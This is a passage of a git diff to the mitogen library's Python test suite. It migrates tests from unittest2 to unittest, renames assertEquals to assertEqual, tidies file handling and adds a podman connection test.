ScanCodeImportsTest(testlib.TestCase): SIMPLE_EXPECT = [ (level, 'inspect', ()), - (level, 'unittest2', ()), (level, 'testlib', ()), (level, 'mitogen.master', ()), ] def test_simple(self): source_path = inspect.getsourcefile(ScanCodeImportsTest) - co = compile(open(source_path).read(), source_path, 'exec') - self.assertEquals(list(self.func(co)), self.SIMPLE_EXPECT) - - -if __name__ == '__main__': - unittest2.main() + with open(source_path) as f: + co = compile(f.read(), source_path, 'exec') + self.assertEqual(list(self.func(co)), self.SIMPLE_EXPECT) diff --git a/tests/message_test.py b/tests/message_test.py index 79deb2c6..b5f5cf08 100644 --- a/tests/message_test.py +++ b/tests/message_test.py @@ -1,9 +1,8 @@ - import sys import struct +import unittest import mock -import unittest2 import mitogen.core import mitogen.master @@ -16,45 +15,45 @@ class ConstructorTest(testlib.TestCase): klass = mitogen.core.Message def test_dst_id_default(self): - self.assertEquals(self.klass().dst_id, None) + self.assertEqual(self.klass().dst_id, None) def test_dst_id_explicit(self): - self.assertEquals(self.klass(dst_id=1111).dst_id, 1111) + self.assertEqual(self.klass(dst_id=1111).dst_id, 1111) @mock.patch('mitogen.context_id', 1234) def test_src_id_default(self): - self.assertEquals(self.klass().src_id, 1234) + self.assertEqual(self.klass().src_id, 1234) def test_src_id_explicit(self): - self.assertEquals(self.klass(src_id=4321).src_id, 4321) + self.assertEqual(self.klass(src_id=4321).src_id, 4321) @mock.patch('mitogen.context_id', 5555) def test_auth_id_default(self): - self.assertEquals(self.klass().auth_id, 5555) + self.assertEqual(self.klass().auth_id, 5555) def test_auth_id_explicit(self): - self.assertEquals(self.klass(auth_id=2222).auth_id, 2222) + self.assertEqual(self.klass(auth_id=2222).auth_id, 2222) def test_handle_default(self): - self.assertEquals(self.klass().handle, None) + self.assertEqual(self.klass().handle, None) def test_handle_explicit(self): - self.assertEquals(self.klass(handle=1234).handle, 1234) + self.assertEqual(self.klass(handle=1234).handle, 1234) def test_reply_to_default(self): - self.assertEquals(self.klass().reply_to, None) + self.assertEqual(self.klass().reply_to, None) def test_reply_to_explicit(self): - self.assertEquals(self.klass(reply_to=8888).reply_to, 8888) + self.assertEqual(self.klass(reply_to=8888).reply_to, 8888) def test_data_default(self): m = self.klass() - self.assertEquals(m.data, b('')) + self.assertEqual(m.data, b('')) self.assertTrue(isinstance(m.data, mitogen.core.BytesType)) def test_data_explicit(self): m = self.klass(data=b('asdf')) - self.assertEquals(m.data, b('asdf')) + self.assertEqual(m.data, b('asdf')) self.assertTrue(isinstance(m.data, mitogen.core.BytesType)) def test_data_hates_unicode(self): @@ -66,62 +65,62 @@ class PackTest(testlib.TestCase): klass = mitogen.core.Message def test_header_format_sanity(self): - self.assertEquals(self.klass.HEADER_LEN, + self.assertEqual(self.klass.HEADER_LEN, struct.calcsize(self.klass.HEADER_FMT)) def test_header_length_correct(self): s = self.klass(dst_id=123, handle=123).pack() - self.assertEquals(len(s), self.klass.HEADER_LEN) + self.assertEqual(len(s), self.klass.HEADER_LEN) def test_magic(self): s = self.klass(dst_id=123, handle=123).pack() magic, = struct.unpack('>h', s[:2]) - self.assertEquals(self.klass.HEADER_MAGIC, magic) + self.assertEqual(self.klass.HEADER_MAGIC, magic) def test_dst_id(self): s = self.klass(dst_id=123, handle=123).pack() dst_id, = struct.unpack('>L', s[2:6]) - self.assertEquals(123, dst_id) + self.assertEqual(123, dst_id) def test_src_id(self): s = self.klass(src_id=5432, dst_id=123, handle=123).pack() src_id, = struct.unpack('>L', s[6:10]) - self.assertEquals(5432, src_id) + self.assertEqual(5432, src_id) def test_auth_id(self): s = self.klass(auth_id=1919, src_id=5432, dst_id=123, handle=123).pack() auth_id, = struct.unpack('>L', s[10:14]) - self.assertEquals(1919, auth_id) + self.assertEqual(1919, auth_id) def test_handle(self): s = self.klass(dst_id=123, handle=9999).pack() handle, = struct.unpack('>L', s[14:18]) - self.assertEquals(9999, handle) + self.assertEqual(9999, handle) def test_reply_to(self): s = self.klass(dst_id=1231, handle=7777, reply_to=9132).pack() reply_to, = struct.unpack('>L', s[18:22]) - self.assertEquals(9132, reply_to) + self.assertEqual(9132, reply_to) def test_data_length_empty(self): s = self.klass(dst_id=1231, handle=7777).pack() data_length, = struct.unpack('>L', s[22:26]) - self.assertEquals(0, data_length) + self.assertEqual(0, data_length) def test_data_length_present(self): s = self.klass(dst_id=1231, handle=7777, data=b('hello')).pack() data_length, = struct.unpack('>L', s[22:26]) - self.assertEquals(5, data_length) + self.assertEqual(5, data_length) def test_data_empty(self): s = self.klass(dst_id=1231, handle=7777).pack() data = s[26:] - self.assertEquals(b(''), data) + self.assertEqual(b(''), data) def test_data_present(self): s = self.klass(dst_id=11, handle=77, data=b('hello')).pack() data = s[26:] - self.assertEquals(b('hello'), data) + self.assertEqual(b('hello'), data) class IsDeadTest(testlib.TestCase): @@ -141,15 +140,15 @@ class DeadTest(testlib.TestCase): def test_no_reason(self): msg = self.klass.dead() - self.assertEquals(msg.reply_to, mitogen.core.IS_DEAD) + self.assertEqual(msg.reply_to, mitogen.core.IS_DEAD) self.assertTrue(msg.is_dead) - self.assertEquals(msg.data, b('')) + self.assertEqual(msg.data, b('')) def test_with_reason(self): msg = self.klass.dead(reason=u'oh no') - self.assertEquals(msg.reply_to, mitogen.core.IS_DEAD) + self.assertEqual(msg.reply_to, mitogen.core.IS_DEAD) self.assertTrue(msg.is_dead) - self.assertEquals(msg.data, b('oh no')) + self.assertEqual(msg.data, b('oh no')) class EvilObject(object): @@ -168,9 +167,9 @@ class PickledTest(testlib.TestCase): def test_bool(self): for b in True, False: - self.assertEquals(b, self.roundtrip(b)) + self.assertEqual(b, self.roundtrip(b)) - @unittest2.skipIf(condition=sys.version_info < (2, 6), + @unittest.skipIf(condition=sys.version_info < (2, 6), reason='bytearray missing on <2.6') def test_bytearray(self): ba = bytearray(b('123')) @@ -180,39 +179,39 @@ class PickledTest(testlib.TestCase): def test_bytes(self): by = b('123') - self.assertEquals(by, self.roundtrip(by)) + self.assertEqual(by, self.roundtrip(by)) def test_dict(self): d = {1: 2, u'a': 3, b('b'): 4, 'c': {}} roundtrip = self.roundtrip(d) - self.assertEquals(d, roundtrip) + self.assertEqual(d, roundtrip) self.assertTrue(isinstance(roundtrip, dict)) for k in d: self.assertTrue(isinstance(roundtrip[k], type(d[k]))) def test_int(self): - self.assertEquals(123, self.klass.pickled(123).unpickle()) + self.assertEqual(123, self.klass.pickled(123).unpickle()) def test_list(self): l = [1, u'b', b('c')] roundtrip = self.roundtrip(l) self.assertTrue(isinstance(roundtrip, list)) - self.assertEquals(l, roundtrip) + self.assertEqual(l, roundtrip) for k in range(len(l)): self.assertTrue(isinstance(roundtrip[k], type(l[k]))) - @unittest2.skipIf(condition=sys.version_info > (3, 0), + @unittest.skipIf(condition=sys.version_info > (3, 0), reason='long missing in >3.x') def test_long(self): l = long(0xffffffffffff) roundtrip = self.roundtrip(l) - self.assertEquals(l, roundtrip) + self.assertEqual(l, roundtrip) self.assertTrue(isinstance(roundtrip, long)) def test_tuple(self): l = (1, u'b', b('c')) roundtrip = self.roundtrip(l) - self.assertEquals(l, roundtrip) + self.assertEqual(l, roundtrip) self.assertTrue(isinstance(roundtrip, tuple)) for k in range(len(l)): self.assertTrue(isinstance(roundtrip[k], type(l[k]))) @@ -220,7 +219,7 @@ class PickledTest(testlib.TestCase): def test_unicode(self): u = u'abcd' roundtrip = self.roundtrip(u) - self.assertEquals(u, roundtrip) + self.assertEqual(u, roundtrip) self.assertTrue(isinstance(roundtrip, mitogen.core.UnicodeType)) #### custom types. see also: types_test.py, call_error_test.py @@ -233,31 +232,31 @@ class PickledTest(testlib.TestCase): v = mitogen.core.Blob(b('dave')) roundtrip = self.roundtrip(v) self.assertTrue(isinstance(roundtrip, mitogen.core.Blob)) - self.assertEquals(b('dave'), roundtrip) + self.assertEqual(b('dave'), roundtrip) def test_blob_empty(self): v = mitogen.core.Blob(b('')) roundtrip = self.roundtrip(v) self.assertTrue(isinstance(roundtrip, mitogen.core.Blob)) - self.assertEquals(b(''), v) + self.assertEqual(b(''), v) def test_secret_nonempty(self): s = mitogen.core.Secret(u'dave') roundtrip = self.roundtrip(s) self.assertTrue(isinstance(roundtrip, mitogen.core.Secret)) - self.assertEquals(u'dave', roundtrip) + self.assertEqual(u'dave', roundtrip) def test_secret_empty(self): s = mitogen.core.Secret(u'') roundtrip = self.roundtrip(s) self.assertTrue(isinstance(roundtrip, mitogen.core.Secret)) - self.assertEquals(u'', roundtrip) + self.assertEqual(u'', roundtrip) def test_call_error(self): ce = mitogen.core.CallError('nope') ce2 = self.assertRaises(mitogen.core.CallError, lambda: self.roundtrip(ce)) - self.assertEquals(ce.args[0], ce2.args[0]) + self.assertEqual(ce.args[0], ce2.args[0]) def test_context(self): router = mitogen.master.Router() @@ -265,7 +264,7 @@ class PickledTest(testlib.TestCase): c = router.context_by_id(1234) roundtrip = self.roundtrip(c) self.assertTrue(isinstance(roundtrip, mitogen.core.Context)) - self.assertEquals(c.context_id, 1234) + self.assertEqual(c.context_id, 1234) finally: router.broker.shutdown() router.broker.join() @@ -277,8 +276,8 @@ class PickledTest(testlib.TestCase): sender = recv.to_sender() roundtrip = self.roundtrip(sender, router=router) self.assertTrue(isinstance(roundtrip, mitogen.core.Sender)) - self.assertEquals(roundtrip.context.context_id, mitogen.context_id) - self.assertEquals(roundtrip.dst_handle, sender.dst_handle) + self.assertEqual(roundtrip.context.context_id, mitogen.context_id) + self.assertEqual(roundtrip.dst_handle, sender.dst_handle) finally: router.broker.shutdown() router.broker.join() @@ -299,15 +298,15 @@ class ReplyTest(testlib.TestCase): msg = self.klass(src_id=1234, reply_to=9191) router = mock.Mock() msg.reply(123, router=router) - self.assertEquals(1, router.route.call_count) + self.assertEqual(1, router.route.call_count) def test_reply_pickles_object(self): msg = self.klass(src_id=1234, reply_to=9191) router = mock.Mock() msg.reply(123, router=router) _, (reply,), _ = router.route.mock_calls[0] - self.assertEquals(reply.dst_id, 1234) - self.assertEquals(reply.unpickle(), 123) + self.assertEqual(reply.dst_id, 1234) + self.assertEqual(reply.unpickle(), 123) def test_reply_uses_preformatted_message(self): msg = self.klass(src_id=1234, reply_to=9191) @@ -316,22 +315,22 @@ class ReplyTest(testlib.TestCase): msg.reply(my_reply, router=router) _, (reply,), _ = router.route.mock_calls[0] self.assertTrue(my_reply is reply) - self.assertEquals(reply.dst_id, 1234) - self.assertEquals(reply.unpickle(), 4444) + self.assertEqual(reply.dst_id, 1234) + self.assertEqual(reply.unpickle(), 4444) def test_reply_sets_dst_id(self): msg = self.klass(src_id=1234, reply_to=9191) router = mock.Mock() msg.reply(123, router=router) _, (reply,), _ = router.route.mock_calls[0] - self.assertEquals(reply.dst_id, 1234) + self.assertEqual(reply.dst_id, 1234) def test_reply_sets_handle(self): msg = self.klass(src_id=1234, reply_to=9191) router = mock.Mock() msg.reply(123, router=router) _, (reply,), _ = router.route.mock_calls[0] - self.assertEquals(reply.handle, 9191) + self.assertEqual(reply.handle, 9191) class UnpickleTest(testlib.TestCase): @@ -343,13 +342,13 @@ class UnpickleTest(testlib.TestCase): m = self.klass.pickled(ce) ce2 = self.assertRaises(mitogen.core.CallError, lambda: m.unpickle()) - self.assertEquals(ce.args[0], ce2.args[0]) + self.assertEqual(ce.args[0], ce2.args[0]) def test_no_throw(self): ce = mitogen.core.CallError('nope') m = self.klass.pickled(ce) ce2 = m.unpickle(throw=False) - self.assertEquals(ce.args[0], ce2.args[0]) + self.assertEqual(ce.args[0], ce2.args[0]) def test_throw_dead(self): m = self.klass.pickled('derp', reply_to=mitogen.core.IS_DEAD) @@ -358,7 +357,7 @@ class UnpickleTest(testlib.TestCase): def test_no_throw_dead(self): m = self.klass.pickled('derp', reply_to=mitogen.core.IS_DEAD) - self.assertEquals('derp', m.unpickle(throw_dead=False)) + self.assertEqual('derp', m.unpickle(throw_dead=False)) class UnpickleCompatTest(testlib.TestCase): @@ -539,7 +538,3 @@ class ReprTest(testlib.TestCase): def test_repr(self): # doesn't crash repr(self.klass.pickled('test')) - - -if __name__ == '__main__': - unittest2.main() diff --git a/tests/minify_test.py b/tests/minify_test.py index 15609896..97a51ed1 100644 --- a/tests/minify_test.py +++ b/tests/minify_test.py @@ -3,8 +3,6 @@ import glob import pprint import sys -import unittest2 - import mitogen.minify import testlib @@ -71,7 +69,7 @@ class MitogenCoreTest(testlib.TestCase): compile(minified, name, 'exec') def _test_line_counts_match(self, original, minified): - self.assertEquals(original.count('\n'), + self.assertEqual(original.count('\n'), minified.count('\n')) def _test_non_blank_lines_match(self, name, original, minified): @@ -112,7 +110,3 @@ class MitogenCoreTest(testlib.TestCase): self._test_syntax_valid(minified, name) self._test_line_counts_match(original, minified) self._test_non_blank_lines_match(name, original, minified) - - -if __name__ == '__main__': - unittest2.main() diff --git a/tests/mitogen_protocol_test.py b/tests/mitogen_protocol_test.py index 834fb437..03e6517c 100644 --- a/tests/mitogen_protocol_test.py +++ b/tests/mitogen_protocol_test.py @@ -1,5 +1,3 @@ - -import unittest2 import mock import mitogen.core @@ -25,10 +23,6 @@ class ReceiveOneTest(testlib.TestCase): protocol.on_receive(broker, junk) capture.stop() - self.assertEquals(1, stream.on_disconnect.call_count) + self.assertEqual(1, stream.on_disconnect.call_count) expect = self.klass.corrupt_msg % (stream.name, junk) self.assertTrue(expect in capture.raw()) - - -if __name__ == '__main__': - unittest2.main() diff --git a/tests/module_finder_test.py b/tests/module_finder_test.py index ac3bfe6c..171c8b4c 100644 --- a/tests/module_finder_test.py +++ b/tests/module_finder_test.py @@ -1,14 +1,12 @@ import inspect import os import sys - -import unittest2 +import unittest import mitogen.master from mitogen.core import b import testlib -from testlib import MODS_DIR class ConstructorTest(testlib.TestCase): @@ -22,7 +20,7 @@ class ReprTest(testlib.TestCase): klass = mitogen.master.ModuleFinder def test_simple(self): - self.assertEquals('ModuleFinder()', repr(self.klass())) + self.assertEqual('ModuleFinder()', repr(self.klass())) class IsStdlibNameTest(testlib.TestCase): @@ -59,10 +57,10 @@ class GetMainModuleDefectivePython3x(testlib.TestCase): return self.klass().find(fullname) def test_builtin(self): - self.assertEquals(None, self.call('sys')) + self.assertEqual(None, self.call('sys')) def test_not_main(self): - self.assertEquals(None, self.call('mitogen')) + self.assertEqual(None, self.call('mitogen')) def test_main(self): import __main__ @@ -70,10 +68,10 @@ class GetMainModuleDefectivePython3x(testlib.TestCase): path, source, is_pkg = self.call('__main__') self.assertTrue(path is not None) self.assertTrue(os.path.exists(path)) - self.assertEquals(path, __main__.__file__) + self.assertEqual(path, __main__.__file__) fp = open(path, 'rb') try: - self.assertEquals(source, fp.read()) + self.assertEqual(source, fp.read()) finally: fp.close() self.assertFalse(is_pkg) @@ -87,24 +85,24 @@ class PkgutilMethodTest(testlib.TestCase): def test_empty_source_pkg(self): path, src, is_pkg = self.call('module_finder_testmod') - self.assertEquals(path, - os.path.join(MODS_DIR, 'module_finder_testmod/__init__.py')) - self.assertEquals(mitogen.core.b(''), src) + self.assertEqual(path, + os.path.join(testlib.MODS_DIR, 'module_finder_testmod/__init__.py')) + self.assertEqual(mitogen.core.b(''), src) self.assertTrue(is_pkg) def test_empty_source_module(self): path, src, is_pkg = self.call('module_finder_testmod.empty_mod') - self.assertEquals(path, - os.path.join(MODS_DIR, 'module_finder_testmod/empty_mod.py')) - self.assertEquals(mitogen.core.b(''), src) + self.assertEqual(path, + os.path.join(testlib.MODS_DIR, 'module_finder_testmod/empty_mod.py')) + self.assertEqual(mitogen.core.b(''), src) self.assertFalse(is_pkg) def test_regular_mod(self): from module_finder_testmod import regular_mod path, src, is_pkg = self.call('module_finder_testmod.regular_mod') - self.assertEquals(path, - os.path.join(MODS_DIR, 'module_finder_testmod/regular_mod.py')) - self.assertEquals(mitogen.core.to_text(src), + self.assertEqual(path, + os.path.join(testlib.MODS_DIR, 'module_finder_testmod/regular_mod.py')) + self.assertEqual(mitogen.core.to_text(src), inspect.getsource(regular_mod)) self.assertFalse(is_pkg) @@ -118,14 +116,15 @@ class SysModulesMethodTest(testlib.TestCase): def test_main(self): import __main__ path, src, is_pkg = self.call('__main__') - self.assertEquals(path, __main__.__file__) + self.assertEqual(path, __main__.__file__) # linecache adds a line ending to the final line if one is missing. - actual_src = open(path, 'rb').read() + with open(path, 'rb') as f: + actual_src = f.read() if actual_src[-1:] != b('\n'): actual_src += b('\n') - self.assertEquals(src, actual_src) + self.assertEqual(src, actual_src) self.assertFalse(is_pkg) def test_dylib_fails(self): @@ -165,66 +164,71 @@ class GetModuleViaParentEnumerationTest(testlib.TestCase): # plumbum has been eating too many rainbow-colored pills import pkg_like_plumbum.colors path, src, is_pkg = self.call('pkg_like_plumbum.colors') - modpath = os.path.join(MODS_DIR, 'pkg_like_plumbum/colors.py') - self.assertEquals(path, modpath) + modpath = os.path.join(testlib.MODS_DIR, 'pkg_like_plumbum/colors.py') + self.assertEqual(path, modpath) - self.assertEquals(src, open(modpath, 'rb').read()) + with open(modpath, 'rb') as f: + self.assertEqual(src, f.read()) self.assertFalse(is_pkg) def test_ansible_module_utils_distro_succeeds(self): # #590: a package that turns itself into a module. import pkg_like_ansible.module_utils.distro as d - self.assertEquals(d.I_AM, "the module that replaced the package") - self.assertEquals( + self.assertEqual(d.I_AM, "the module that replaced the package") + self.assertEqual( sys.modules['pkg_like_ansible.module_utils.distro'].__name__, 'pkg_like_ansible.module_utils.distro._distro' ) # ensure we can resolve the subpackage. path, src, is_pkg = self.call('pkg_like_ansible.module_utils.distro') - modpath = os.path.join(MODS_DIR, + modpath = os.path.join(testlib.MODS_DIR, 'pkg_like_ansible/module_utils/distro/__init__.py') - self.assertEquals(path, modpath) - self.assertEquals(src, open(modpath, 'rb').read()) - self.assertEquals(is_pkg, True) + self.assertEqual(path, modpath) + with open(modpath, 'rb') as f: + self.assertEqual(src, f.read()) + self.assertEqual(is_pkg, True) # ensure we can resolve a child of the subpackage. path, src, is_pkg = self.call( 'pkg_like_ansible.module_utils.distro._distro' ) - modpath = os.path.join(MODS_DIR, + modpath = os.path.join(testlib.MODS_DIR, 'pkg_like_ansible/module_utils/distro/_distro.py') - self.assertEquals(path, modpath) - self.assertEquals(src, open(modpath, 'rb').read()) - self.assertEquals(is_pkg, False) + self.assertEqual(path, modpath) + with open(modpath, 'rb') as f: + self.assertEqual(src, f.read()) + self.assertEqual(is_pkg, False) def test_ansible_module_utils_system_distro_succeeds(self): # #590: a package that turns itself into a module. # #590: a package that turns itself into a module. import pkg_like_ansible.module_utils.sys_distro as d - self.assertEquals(d.I_AM, "the system module that replaced the subpackage") - self.assertEquals( + self.assertEqual(d.I_AM, "the system module that replaced the subpackage") + self.assertEqual( sys.modules['pkg_like_ansible.module_utils.sys_distro'].__name__, 'system_distro' ) # ensure we can resolve the subpackage. path, src, is_pkg = self.call('pkg_like_ansible.module_utils.sys_distro') - modpath = os.path.join(MODS_DIR, + modpath = os.path.join(testlib.MODS_DIR, 'pkg_like_ansible/module_utils/sys_distro/__init__.py') - self.assertEquals(path, modpath) - self.assertEquals(src, open(modpath, 'rb').read()) - self.assertEquals(is_pkg, True) + self.assertEqual(path, modpath) + with open(modpath, 'rb') as f: + self.assertEqual(src, f.read()) + self.assertEqual(is_pkg, True) # ensure we can resolve a child of the subpackage. path, src, is_pkg = self.call( 'pkg_like_ansible.module_utils.sys_distro._distro' ) - modpath = os.path.join(MODS_DIR, + modpath = os.path.join(testlib.MODS_DIR, 'pkg_like_ansible/module_utils/sys_distro/_distro.py') - self.assertEquals(path, modpath) - self.assertEquals(src, open(modpath, 'rb').read()) - self.assertEquals(is_pkg, False) + self.assertEqual(path, modpath) + with open(modpath, 'rb') as f: + self.assertEqual(src, f.read()) + self.assertEqual(is_pkg, False) class ResolveRelPathTest(testlib.TestCase): @@ -234,21 +238,21 @@ class ResolveRelPathTest(testlib.TestCase): return self.klass().resolve_relpath(fullname, level) def test_empty(self): - self.assertEquals('', self.call('', 0)) - self.assertEquals('', self.call('', 1)) - self.assertEquals('', self.call('', 2)) + self.assertEqual('', self.call('', 0)) + self.assertEqual('', self.call('', 1)) + self.assertEqual('', self.call('', 2)) def test_absolute(self): - self.assertEquals('', self.call('email.utils', 0)) + self.assertEqual('', self.call('email.utils', 0)) def test_rel1(self): - self.assertEquals('email.', self.call('email.utils', 1)) + self.assertEqual('email.', self.call('email.utils', 1)) def test_rel2(self): - self.assertEquals('', self.call('email.utils', 2)) + self.assertEqual('', self.call('email.utils', 2)) def test_rel_overflow(self): - self.assertEquals('', self.call('email.utils', 3)) + self.assertEqual('', self.call('email.utils', 3)) class FakeSshTest(testlib.TestCase): @@ -260,10 +264,9 @@ class FakeSshTest(testlib.TestCase): def test_simple(self): import mitogen.fakessh related = self.call('mitogen.fakessh') - self.assertEquals(related, [ + self.assertEqual(related, [ 'mitogen', 'mitogen.core', - 'mitogen.master', 'mitogen.parent', ]) @@ -277,8 +280,6 @@ class FindRelatedTest(testlib.TestCase): SIMPLE_EXPECT = set([ u'mitogen', u'mitogen.core', - u'mitogen.master', - u'mitogen.minify', u'mitogen.parent', ]) @@ -292,12 +293,12 @@ class FindRelatedTest(testlib.TestCase): def test_simple(self): import mitogen.fakessh related = self.call('mitogen.fakessh') - self.assertEquals(set(related), self.SIMPLE_EXPECT) + self.assertEqual(set(related), self.SIMPLE_EXPECT) if sys.version_info > (2, 6): class DjangoMixin(object): - WEBPROJECT_PATH = os.path.join(MODS_DIR, 'webproject') + WEBPROJECT_PATH = os.path.join(testlib.MODS_DIR, 'webproject') # TODO: rip out Django and replace with a static tree of weird imports # that don't depend on .. Django! The hack below is because the version @@ -333,7 +334,7 @@ if sys.version_info > (2, 6): def test_django_db(self): import django.db related = self.call('django.db') - self.assertEquals(related, [ + self.assertEqual(related, [ 'django', 'django.core', 'django.core.signals', @@ -345,7 +346,7 @@ if sys.version_info > (2, 6): import django.db.models related = self.call('django.db.models') self.maxDiff=None - self.assertEquals(related, [ + self.assertEqual(related, [ u'django', u'django.core.exceptions', u'django.db', @@ -375,7 +376,7 @@ if sys.version_info > (2, 6): def test_django_db(self): import django.db related = self.call('django.db') - self.assertEquals(related, [ + self.assertEqual(related, [ u'django', u'django.conf', u'django.conf.global_settings', @@ -395,14 +396,14 @@ if sys.version_info > (2, 6): u'django.utils.six', ]) - @unittest2.skipIf( + @unittest.skipIf( condition=(sys.version_info >= (3, 0)), reason='broken due to ancient vendored six.py' ) def test_django_db_models(self): import django.db.models related = self.call('django.db.models') - self.assertEquals(related, [ + self.assertEqual(related, [ u'django', u'django.conf', u'django.conf.global_settings', @@ -491,6 +492,3 @@ if sys.version_info > (2, 6): u'pytz.tzfile', u'pytz.tzinfo', ]) - -if __name__ == '__main__': - unittest2.main() diff --git a/tests/nested_test.py b/tests/nested_test.py index 668c21e3..718c2eea 100644 --- a/tests/nested_test.py +++ b/tests/nested_test.py @@ -1,7 +1,5 @@ import os -import unittest2 - import testlib @@ -13,7 +11,3 @@ class NestedTest(testlib.RouterMixin, testlib.TestCase): pid = context.call(os.getpid) self.assertIsInstance(pid, int) - - -if __name__ == '__main__': - unittest2.main() diff --git a/tests/os_fork_test.py b/tests/os_fork_test.py index 14ea8465..e910a26a 100644 --- a/tests/os_fork_test.py +++ b/tests/os_fork_test.py @@ -1,6 +1,4 @@ - import testlib -import unittest2 import mitogen.os_fork import mitogen.service @@ -15,7 +13,7 @@ class CorkTest(testlib.RouterMixin, testlib.TestCase): def test_cork_broker(self): latch = mitogen.core.Latch() self.broker.defer(self.ping, latch) - self.assertEquals('pong', latch.get()) + self.assertEqual('pong', latch.get()) corker = self.klass(brokers=(self.broker,)) corker.cork() @@ -25,14 +23,14 @@ class CorkTest(testlib.RouterMixin, testlib.TestCase): self.assertRaises(mitogen.core.TimeoutError, lambda: latch.get(timeout=0.5)) corker.uncork() - self.assertEquals('pong', latch.get()) + self.assertEqual('pong', latch.get()) def test_cork_pool(self): pool = mitogen.service.Pool(self.router, services=(), size=4) try: latch = mitogen.core.Latch() pool.defer(self.ping, latch) - self.assertEquals('pong', latch.get()) + self.assertEqual('pong', latch.get()) corker = self.klass(pools=(pool,)) corker.cork() @@ -42,11 +40,6 @@ class CorkTest(testlib.RouterMixin, testlib.TestCase): self.assertRaises(mitogen.core.TimeoutError, lambda: latch.get(timeout=0.5)) corker.uncork() - self.assertEquals('pong', latch.get()) + self.assertEqual('pong', latch.get()) finally: pool.stop(join=True) - - - -if __name__ == '__main__': - unittest2.main() diff --git a/tests/parent_test.py b/tests/parent_test.py index d6efe998..b291f656 100644 --- a/tests/parent_test.py +++ b/tests/parent_test.py @@ -2,15 +2,12 @@ import errno import fcntl import os import signal -import subprocess import sys -import tempfile import time +import unittest import mock -import unittest2 import testlib -from testlib import Popen__terminate import mitogen.core import mitogen.parent @@ -72,20 +69,20 @@ class GetDefaultRemoteNameTest(testlib.TestCase): mock_gethostname.return_value = 'box' mock_getuser.return_value = 'ECORP\\Administrator' mock_getpid.return_value = 123 - self.assertEquals("ECORP_Administrator@box:123", self.func()) + self.assertEqual("ECORP_Administrator@box:123", self.func()) class ReturncodeToStrTest(testlib.TestCase): func = staticmethod(mitogen.parent.returncode_to_str) def test_return_zero(self): - self.assertEquals(self.func(0), 'exited with return code 0') + self.assertEqual(self.func(0), 'exited with return code 0') def test_return_one(self): - self.assertEquals(self.func(1), 'exited with return code 1') + self.assertEqual(self.func(1), 'exited with return code 1') def test_sigkill(self): - self.assertEquals(self.func(-signal.SIGKILL), + self.assertEqual(self.func(-signal.SIGKILL), 'exited due to signal %s (SIGKILL)' % (int(signal.SIGKILL),) ) @@ -110,7 +107,7 @@ class ReapChildTest(testlib.RouterMixin, testlib.TestCase): e = self.assertRaises(OSError, lambda: os.kill(conn.proc.pid, 0) ) - self.assertEquals(e.args[0], errno.ESRCH) + self.assertEqual(e.args[0], errno.ESRCH) class StreamErrorTest(testlib.RouterMixin, testlib.TestCase): @@ -189,9 +186,9 @@ class OpenPtyTest(testlib.TestCase): e = self.assertRaises(mitogen.core.StreamError, lambda: self.func()) msg = mitogen.parent.OPENPTY_MSG % (openpty.side_effect,) - self.assertEquals(e.args[0], msg) + self.assertEqual(e.args[0], msg) - @unittest2.skipIf(condition=(os.uname()[0] != 'Linux'), + @unittest.skipIf(condition=(os.uname()[0] != 'Linux'), reason='Fallback only supported on Linux') @mock.patch('os.openpty') def test_broken_linux_fallback(self, openpty): @@ -199,12 +196,12 @@ class OpenPtyTest(testlib.TestCase): master_fp, slave_fp = self.func() try: st = os.fstat(master_fp.fileno()) - self.assertEquals(5, os.major(st.st_rdev)) + self.assertEqual(5, os.major(st.st_rdev)) flags = fcntl.fcntl(master_fp.fileno(), fcntl.F_GETFL) self.assertTrue(flags & os.O_RDWR) st = os.fstat(slave_fp.fileno()) - self.assertEquals(136, os.major(st.st_rdev)) + self.assertEqual(136, os.major(st.st_rdev)) flags = fcntl.fcntl(slave_fp.fileno(), fcntl.F_GETFL) self.assertTrue(flags & os.O_RDWR) finally: @@ -221,7 +218,7 @@ class DisconnectTest(testlib.RouterMixin, testlib.TestCase): c1.shutdown(wait=True) e = self.assertRaises(mitogen.core.ChannelError, lambda: recv.get()) - self.assertEquals(e.args[0], self.router.respondent_disconnect_msg) + self.assertEqual(e.args[0], self.router.respondent_disconnect_msg) def test_indirect_child_disconnected(self): # Achievement unlocked: process notices an indirectly connected child @@ -232,7 +229,7 @@ class DisconnectTest(testlib.RouterMixin, testlib.TestCase): c2.shutdown(wait=True) e = self.assertRaises(mitogen.core.ChannelError, lambda: recv.get()) - self.assertEquals(e.args[0], self.router.respondent_disconnect_msg) + self.assertEqual(e.args[0], self.router.respondent_disconnect_msg) def test_indirect_child_intermediary_disconnected(self): # Battlefield promotion: process notices indirect child disconnected @@ -243,7 +240,7 @@ class DisconnectTest(testlib.RouterMixin, testlib.TestCase): c1.shutdown(wait=True) e = self.assertRaises(mitogen.core.ChannelError, lambda: recv.get()) - self.assertEquals(e.args[0], self.router.respondent_disconnect_msg) + self.assertEqual(e.args[0], self.router.respondent_disconnect_msg) def test_near_sibling_disconnected(self): # Hard mode: child notices sibling connected to same parent has @@ -291,7 +288,3 @@ class DisconnectTest(testlib.RouterMixin, testlib.TestCase): lambda: recv.get().unpickle()) s = 'mitogen.core.ChannelError: ' + self.router.respondent_disconnect_msg self.assertTrue(e.args[0].startswith(s)) - - -if __name__ == '__main__': - unittest2.main() diff --git a/tests/podman_test.py b/tests/podman_test.py new file mode 100644 index 00000000..8e981678 --- /dev/null +++ b/tests/podman_test.py @@ -0,0 +1,44 @@ +import os + +import testlib + + +class ConstructorTest(testlib.RouterMixin, testlib.TestCase): + def test_okay(self): + stub_path = testlib.data_path('stubs/stub-podman.py') + + context = self.router.podman( + container='container_name', + podman_path=stub_path, + ) + stream = self.router.stream_by_id(context.context_id) + + argv = eval(context.call(os.getenv, 'ORIGINAL_ARGV')) + expected_call = [ + stub_path, + 'exec', + '--interactive', + '--', + 'container_name', + stream.conn.options.python_path + ] + self.assertEqual(argv[:len(expected_call)], expected_call) + + context = self.router.podman( + container='container_name', + podman_path=stub_path, + username='some_user', + ) + stream = self.router.stream_by_id(context.context_id) + + argv = eval(context.call(os.getenv, 'ORIGINAL_ARGV')) + expected_call = [ + stub_path, + 'exec', + '--user=some_user', + '--interactive', + '--', + 'container_name', + stream.conn.options.python_path + ] + self.assertEqual(argv[:len(expected_call)], expected_call) diff --git a/tests/policy_function_test.py b/tests/policy_function_test.py index 56e33b89..843f8b7c 100644 --- a/tests/policy_function_test.py +++ b/tests/policy_function_test.py @@ -1,6 +1,4 @@ - import mock -import unittest2 import mitogen.core import mitogen.parent @@ -34,7 +32,3 @@ class IsImmediateChildTest(testlib.TestCase): def test_okay(self): 